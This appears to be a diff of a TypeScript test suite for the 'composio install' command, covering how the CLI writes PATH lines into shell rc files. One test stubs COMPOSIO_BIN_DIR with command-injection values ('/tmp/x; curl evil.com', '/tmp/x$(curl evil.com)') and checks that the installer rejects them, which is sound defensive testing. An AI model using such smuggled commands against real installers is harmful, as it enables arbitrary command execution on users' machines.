@@ -659,7 +793,7 @@ describe('CLI: composio install', () => {
793 });
794
795 describe('[When] both completion flags are parsed by the public CLI', () => {
662 - layer(TestLive())(it => {
796 + layer(TestInstallLive())(it => {
797 it.scoped('[Then] --no-completions takes precedence', () =>
798 Effect.gen(function* () {
799 const os = yield* NodeOs;
@@ -677,7 +811,7 @@ describe('CLI: composio install', () => {
811 });
812
813 describe('[When] --shell bash overrides a conflicting $SHELL', () => {
680 - layer(TestLive())(it => {
814 + layer(TestInstallLive())(it => {
815 it.scoped('[Then] writes ~/.bashrc, not ~/.zshrc', () =>
816 Effect.gen(function* () {
817 const os = yield* NodeOs;
@@ -694,7 +828,7 @@ describe('CLI: composio install', () => {
828 });
829
830 describe('[When] --shell fish is passed with $SHELL unset', () => {
697 - layer(TestLive())(it => {
831 + layer(TestInstallLive())(it => {
832 it.scoped('[Then] writes config.fish', () =>
833 Effect.gen(function* () {
834 const os = yield* NodeOs;
@@ -711,7 +845,7 @@ describe('CLI: composio install', () => {
845 });
846
847 describe('[When] --shell is explicit and the bin dir is already on the invoking $PATH', () => {
714 - layer(TestLive())(it => {
848 + layer(TestInstallLive())(it => {
849 it.scoped('[Then] still writes the requested shell, and re-running stays idempotent', () =>
850 Effect.gen(function* () {
851 const os = yield* NodeOs;
@@ -731,9 +865,9 @@ describe('CLI: composio install', () => {
865 });
866 });
867
734 - describe('[When] auto-detected shell has its bin dir already on $PATH', () => {
735 - layer(TestLive())(it => {
736 - it.scoped('[Then] writes nothing and reports already on PATH, with no restart hint', () =>
868 + describe('[When] auto-detected shell has its bin dir already on the invoking $PATH', () => {
869 + layer(TestInstallLive())(it => {
870 + it.scoped('[Then] the rc file is still written, since a transient $PATH proves nothing', () =>
871 Effect.gen(function* () {
872 const os = yield* NodeOs;
873 vi.stubEnv('SHELL', '/bin/zsh');
@@ -743,51 +877,51 @@ describe('CLI: composio install', () => {
877 yield* install();
878
879 const fs = yield* FileSystem.FileSystem;
746 - expect(yield* fs.exists(path.join(os.homedir, '.zshrc'))).toBe(false);
880 + const contents = yield* fs.readFileString(path.join(os.homedir, '.zshrc'));
881 + expect(contents).toContain(`export PATH="${binDir}:$PATH"`);
882
883 const lines = yield* MockConsole.getLines();
884 const output = lines.join('\n');
750 - expect(output).toContain('already on $PATH');
751 - expect(output).not.toContain('Restart your shell');
885 + expect(output).toContain('PATH: will add');
886 + expect(output).toContain('Restart your shell');
887 })
888 );
889 });
890 });
891
757 - describe('[When] a new .bash_profile appears after .bashrc was already configured, and the bin dir is already on $PATH', () => {
758 - layer(TestLive())(it => {
759 - it.scoped(
760 - '[Then] the new .bash_profile still gets the PATH block, not skipped by the reachability check',
761 - () =>
762 - Effect.gen(function* () {
763 - const os = yield* NodeOs;
764 - const fs = yield* FileSystem.FileSystem;
765 - vi.stubEnv('SHELL', '/bin/bash');
766 - const binDir = expectedRuntimeBinDir();
767 - vi.stubEnv('PATH', `${SAFE_PATH}:${binDir}`);
768 -
769 - // Simulate a prior `composio install` run that already configured .bashrc.
770 - const bashrcPath = path.join(os.homedir, '.bashrc');
771 - yield* fs.writeFileString(
772 - bashrcPath,
773 - `# Composio CLI\nexport PATH="${binDir}:$PATH"\n`
774 - );
892 + describe('[When] a new .bash_profile appears after .bashrc was already configured', () => {
893 + layer(TestInstallLive())(it => {
894 + it.scoped('[Then] the new .bash_profile gets the PATH block and .bashrc is left alone', () =>
895 + Effect.gen(function* () {
896 + const os = yield* NodeOs;
897 + const fs = yield* FileSystem.FileSystem;
898 + vi.stubEnv('SHELL', '/bin/bash');
899 + const binDir = expectedRuntimeBinDir();
900 + vi.stubEnv('PATH', `${SAFE_PATH}:${binDir}`);
901
776 - // .bash_profile shows up afterward and was never configured.
777 - const bashProfilePath = path.join(os.homedir, '.bash_profile');
778 - yield* fs.writeFileString(bashProfilePath, '# existing login config\n');
902 + // Simulate a prior `composio install` run that already configured .bashrc.
903 + const bashrcPath = path.join(os.homedir, '.bashrc');
904 + yield* fs.writeFileString(bashrcPath, `# Composio CLI\nexport PATH="${binDir}:$PATH"\n`);
905
780 - yield* install();
906 + // .bash_profile shows up afterward and was never configured.
907 + const bashProfilePath = path.join(os.homedir, '.bash_profile');
908 + yield* fs.writeFileString(bashProfilePath, '# existing login config\n');
909
782 - const bashProfileContents = yield* fs.readFileString(bashProfilePath);
783 - expect(bashProfileContents).toContain('# Composio CLI');
784 - })
910 + yield* install();
911 +
912 + const bashProfileContents = yield* fs.readFileString(bashProfilePath);
913 + expect(bashProfileContents).toContain('# Composio CLI');
914 + // .bashrc already carries the exact current line, so it is untouched.
915 + expect(yield* fs.readFileString(bashrcPath)).toBe(
916 + `# Composio CLI\nexport PATH="${binDir}:$PATH"\n`
917 + );
918 + })
919 );
920 });
921 });
922
923 describe('[When] COMPOSIO_BIN_DIR is set to a custom directory', () => {
790 - layer(TestLive())(it => {
924 + layer(TestInstallLive())(it => {
925 it.scoped('[Then] --shell zsh writes a PATH line for the custom directory', () =>
926 Effect.gen(function* () {
927 const os = yield* NodeOs;
@@ -806,7 +940,7 @@ describe('CLI: composio install', () => {
940 });
941
942 describe('[When] COMPOSIO_BIN_DIR is whitespace-only', () => {
809 - layer(TestLive())(it => {
943 + layer(TestInstallLive())(it => {
944 it.scoped('[Then] it is treated as unset, not as a literal bin dir', () =>
945 Effect.gen(function* () {
946 const os = yield* NodeOs;
@@ -825,7 +959,7 @@ describe('CLI: composio install', () => {
959 });
960
961 describe('[When] COMPOSIO_BIN_DIR has surrounding whitespace around a real value', () => {
828 - layer(TestLive())(it => {
962 + layer(TestInstallLive())(it => {
963 it.scoped('[Then] the surrounding whitespace is trimmed before it is used', () =>
964 Effect.gen(function* () {
965 const os = yield* NodeOs;
@@ -843,7 +977,9 @@ describe('CLI: composio install', () => {
977 });
978
979 describe('[When] COMPOSIO_BIN_DIR is unset and ~/.local/bin/composio is the running executable', () => {
846 - layer(TestLive())(it => {
980 + layer(
981 + TestInstallLive({ execPath: homedir => path.join(homedir, '.local', 'bin', 'composio') })
982 + )(it => {
983 it.scoped('[Then] the PATH line targets ~/.local/bin via a literal $HOME prefix', () =>
984 Effect.gen(function* () {
985 const os = yield* NodeOs;
@@ -855,7 +991,7 @@ describe('CLI: composio install', () => {
991 yield* fs.makeDirectory(localBinDir, { recursive: true });
992 yield* fs.writeFileString(localBinComposio, '#!/bin/sh\n');
993
858 - yield* install({ execPath: localBinComposio });
994 + yield* install();
995
996 const contents = yield* fs.readFileString(path.join(os.homedir, '.zshrc'));
997 expect(contents).toContain('export PATH="$HOME/.local/bin:$PATH"');
@@ -865,8 +1001,27 @@ describe('CLI: composio install', () => {
1001 });
1002 });
1003
1004 + describe('[When] the resolved bin dir contains an apostrophe', () => {
1005 + layer(TestInstallLive({ execPath: () => "/opt/o'brien/bin/composio" }))(it => {
1006 + it.scoped("[Then] it is written verbatim, since `'` is literal inside double quotes", () =>
1007 + Effect.gen(function* () {
1008 + const os = yield* NodeOs;
1009 + const fs = yield* FileSystem.FileSystem;
1010 + vi.stubEnv('SHELL', '/bin/zsh');
1011 +
1012 + yield* install();
1013 +
1014 + const contents = yield* fs.readFileString(path.join(os.homedir, '.zshrc'));
1015 + expect(contents).toContain(`export PATH="/opt/o'brien/bin:$PATH"`);
1016 + })
1017 + );
1018 + });
1019 + });
1020 +
1021 describe('[When] ~/.local/bin/composio is a symlink chain to the running executable', () => {
869 - layer(TestLive())(it => {
1022 + layer(
1023 + TestInstallLive({ execPath: homedir => path.join(homedir, '.composio-dist', 'composio') })
1024 + )(it => {
1025 it.scoped('[Then] the PATH line still targets ~/.local/bin', () =>
1026 Effect.gen(function* () {
1027 const os = yield* NodeOs;
@@ -883,7 +1038,7 @@ describe('CLI: composio install', () => {
1038 yield* fs.symlink(execFile, intermediateLink);
1039 yield* fs.symlink(intermediateLink, path.join(localBinDir, 'composio'));
1040
886 - yield* install({ execPath: execFile });
1041 + yield* install();
1042
1043 const contents = yield* fs.readFileString(path.join(os.homedir, '.zshrc'));
1044 expect(contents).toContain('export PATH="$HOME/.local/bin:$PATH"');
@@ -893,7 +1048,7 @@ describe('CLI: composio install', () => {
1048 });
1049
1050 describe('[When] ~/.local/bin/composio is a foreign program (e.g. a leftover pip install)', () => {
896 - layer(TestLive())(it => {
1051 + layer(TestInstallLive())(it => {
1052 it.scoped('[Then] the PATH line targets the running executable directory instead', () =>
1053 Effect.gen(function* () {
1054 const os = yield* NodeOs;
@@ -916,7 +1071,9 @@ describe('CLI: composio install', () => {
1071 });
1072
1073 describe('[When] COMPOSIO_BIN_DIR is set and ~/.local/bin/composio is also the running executable', () => {
919 - layer(TestLive())(it => {
1074 + layer(
1075 + TestInstallLive({ execPath: homedir => path.join(homedir, '.local', 'bin', 'composio') })
1076 + )(it => {
1077 it.scoped('[Then] the env var wins over the ~/.local/bin fallback', () =>
1078 Effect.gen(function* () {
1079 const os = yield* NodeOs;
@@ -929,7 +1086,7 @@ describe('CLI: composio install', () => {
1086 yield* fs.makeDirectory(localBinDir, { recursive: true });
1087 yield* fs.writeFileString(localBinComposio, '#!/bin/sh\n');
1088
932 - yield* install({ execPath: localBinComposio });
1089 + yield* install();
1090
1091 const contents = yield* fs.readFileString(path.join(os.homedir, '.zshrc'));
1092 expect(contents).toContain('export PATH="/custom/bin:$PATH"');
@@ -940,7 +1097,7 @@ describe('CLI: composio install', () => {
1097 });
1098
1099 describe('[When] COMPOSIO_BIN_DIR is unset and ~/.local/bin has no composio entry point', () => {
943 - layer(TestLive())(it => {
1100 + layer(TestInstallLive())(it => {
1101 it.scoped('[Then] the PATH line targets the real binary directory', () =>
1102 Effect.gen(function* () {
1103 const os = yield* NodeOs;
@@ -957,12 +1114,12 @@ describe('CLI: composio install', () => {
1114 });
1115 });
1116
960 - describe('[When] COMPOSIO_BIN_DIR contains shell metacharacters', () => {
961 - layer(TestLive())(it => {
1117 + describe('[When] COMPOSIO_BIN_DIR contains characters that expand inside double quotes', () => {
1118 + layer(TestInstallLive())(it => {
1119 it.scoped('[Then] aborts with an error', () =>
1120 Effect.gen(function* () {
1121 vi.stubEnv('SHELL', '/bin/zsh');
965 - vi.stubEnv('COMPOSIO_BIN_DIR', '/tmp/x; curl evil.com');
1122 + vi.stubEnv('COMPOSIO_BIN_DIR', '/tmp/x$(curl evil.com)');
1123
1124 const error = yield* install().pipe(Effect.flip);
1125 expect(error).toBeInstanceOf(ShellSetupAbortError);
@@ -978,7 +1135,7 @@ describe('CLI: composio install', () => {
1135 });
1136
1137 describe('[When] COMPOSIO_BIN_DIR is relative', () => {
981 - layer(TestLive())(it => {
1138 + layer(TestInstallLive())(it => {
1139 it.scoped('[Then] aborts instead of persisting a relative PATH entry', () =>
1140 Effect.gen(function* () {
1141 vi.stubEnv('SHELL', '/bin/zsh');
@@ -996,7 +1153,7 @@ describe('CLI: composio install', () => {
1153 });
1154
1155 describe('[When] COMPOSIO_BIN_DIR contains a PATH delimiter', () => {
999 - layer(TestLive())(it => {
1156 + layer(TestInstallLive())(it => {
1157 it.scoped('[Then] aborts instead of persisting multiple PATH entries', () =>
1158 Effect.gen(function* () {
1159 vi.stubEnv('SHELL', '/bin/zsh');
@@ -1015,12 +1172,12 @@ describe('CLI: composio install', () => {
1172 });
1173
1174 describe('[When] the runtime executable resolves to an unsafe directory', () => {
1018 - layer(TestLive())(it => {
1175 + layer(TestInstallLive({ execPath: () => '/tmp/we`ird/composio' }))(it => {
1176 it.scoped('[Then] reports an origin-neutral error', () =>
1177 Effect.gen(function* () {
1178 vi.stubEnv('SHELL', '/bin/zsh');
1179
1023 - const error = yield* install({ execPath: "/tmp/o'brien/composio" }).pipe(Effect.flip);
1180 + const error = yield* install().pipe(Effect.flip);
1181 expect(error).toBeInstanceOf(ShellSetupAbortError);
1182
1183 const output = (yield* MockConsole.getLines()).join('\n');